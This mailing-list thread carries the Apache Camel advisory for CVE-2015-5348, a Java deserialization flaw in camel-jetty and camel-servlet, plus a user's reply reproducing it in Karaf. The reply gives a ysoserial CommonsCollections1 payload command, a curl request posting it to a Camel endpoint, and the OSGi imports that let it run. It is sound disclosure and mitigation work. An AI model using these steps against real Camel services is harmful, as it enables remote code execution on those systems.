CVE-2015-5348 - Apache Camel medium disclosure vulnerability

[Claus Ibsen <cl...@gmail.com>]

Apache Camel's Jetty/Servlet usage is vulnerable to Java object
de-serialisation vulnerability

If using camel-jetty, or camel-servlet as a consumer in Camel routes,
then Camel will automatic de-serialize HTTP requests that uses the
content-header: application/x-java-serialized-object.

Please study this security vulnerability carefully!

CVE-2015-5348 - [1]

You can download the fixed Apache Camel 2.15.x and 2.16.x version from the
Apache mirrors [2] or from the Central Maven repository.


[1] http://camel.apache.org/security-advisories.data/CVE-2015-5348.txt.asc?version=1&modificationDate=1450340845000&api=v2
[2] http://camel.apache.org/download


On behalf of the Camel PMC,
Claus Ibsen

-- 
Claus Ibsen
-----------------
http://davsclaus.com @davsclaus
Camel in Action 2: https://www.manning.com/ibsen2

Re: CVE-2015-5348 - Apache Camel medium disclosure vulnerability

[Ed Welch <ed...@edjusted.com>]

Was curious how easy this was to exploit, so I decided to play around a little.

We deploy entirely into OSGi environments either in apache servicemix or apache karaf, so that's where my testing was focused.

There is a github project which handily creates sample payloads given a command of your choosing: https://github.com/frohoff/ysoserial

So I made myself a sample payload to work against commons-collections 3.2.1:

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwn' > cc1.bin

If successful, this should create a file named pwn in the tmp folder.

I then created a real simple camel route:

from("jetty:http://0.0.0.0:8888")
                .process(exchange -> {
                    log.info("recieved request");
                    exchange.getIn().setBody("Response + " + System.currentTimeMillis());
                });

Which would respond to any request and return a simple string including a timestamp.

Deployed this to karaf 3.0.3 against camel 2.16.0, also deployed commons-collections 3.2.1 into the environment

Tried to exploit with my sample payload:

curl --header "Content-Type: application/x-java-serialized-object" --data-binary @cc1.bin http://localhost:8888

Looked in /tmp, no file! hooray?

maybe not yet, looked at the logs, see:

Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.map.LazyMap

Wait a minute, for once in the history of OSGi did the separate class loaders help me out instead of just making my life more difficult?? Indeed it did!  Ok, snark aside, I love OSGi, but yes, my bundle did not declare an import for this package in it's manifest (and a couple others that are needed), so despite having installed the vulnerable library, my bundle did not have access to it.

So this is good, but it's probably a false sense of security, a couple more import-package entries in my test bundle:

org.apache.commons.collections.map,
org.apache.commons.collections.functors,
org.apache.commons.collections,

And now when I run the curl command, I definitely see pwn in the /tmp folder :(

Also beware of <DynamicImport-Package>*</DynamicImport-Package> in your config/manifest.  I tested this too, and this is all that is needed for this exploit to work.

Or maybe your bundle is already importing the above packages because your application uses them.... 

Also keep in mind, commons-collections isn't the only vulnerable library to this issue, ysoserial has some sample spring and groovy payload options.


Or maybe you aren't running in OSGi, in which case, if you have any of the vulnerable libs on the classpath, you are in trouble.

On the positive side of things though, depending on how you are doing authentication, say you use the camel-servlet component and you have a security-constraint setting, because this is handled before data gets to camel, I believe this would mitigate attacks from non authenticated users.


My advice... take Claus' advice:

Please study this security vulnerability carefully!

You may be able to mitigate the risk with some crafty OSGi classloading or adding authentication, or something else... but really, if you want to not worry about it, upgraded to 2.16.1 or 2.15.5 which do not allow object serialization by default...

Regards,
Ed

On Thu, 17 Dec 2015 10:27:59 +0100, Claus Ibsen <cl...@gmail.com> wrote:

> Apache Camel's Jetty/Servlet usage is vulnerable to Java object
> de-serialisation vulnerability
> 
> If using camel-jetty, or camel-servlet as a consumer in Camel routes,
> then Camel will automatic de-serialize HTTP requests that uses the
> content-header: application/x-java-serialized-object.
> 
> Please study this security vulnerability carefully!
> 
> CVE-2015-5348 - [1]
> 
> You can download the fixed Apache Camel 2.15.x and 2.16.x version from the
> Apache mirrors [2] or from the Central Maven repository.
> 
> 
> [1] http://camel.apache.org/security-advisories.data/CVE-2015-5348.txt.asc?version=1&modificationDate=1450340845000&api=v2
> [2] http://camel.apache.org/download
> 
> 
> On behalf of the Camel PMC,
> Claus Ibsen
> 
> -- 
> Claus Ibsen
> -----------------
> http://davsclaus.com @davsclaus
> Camel in Action 2: https://www.manning.com/ibsen2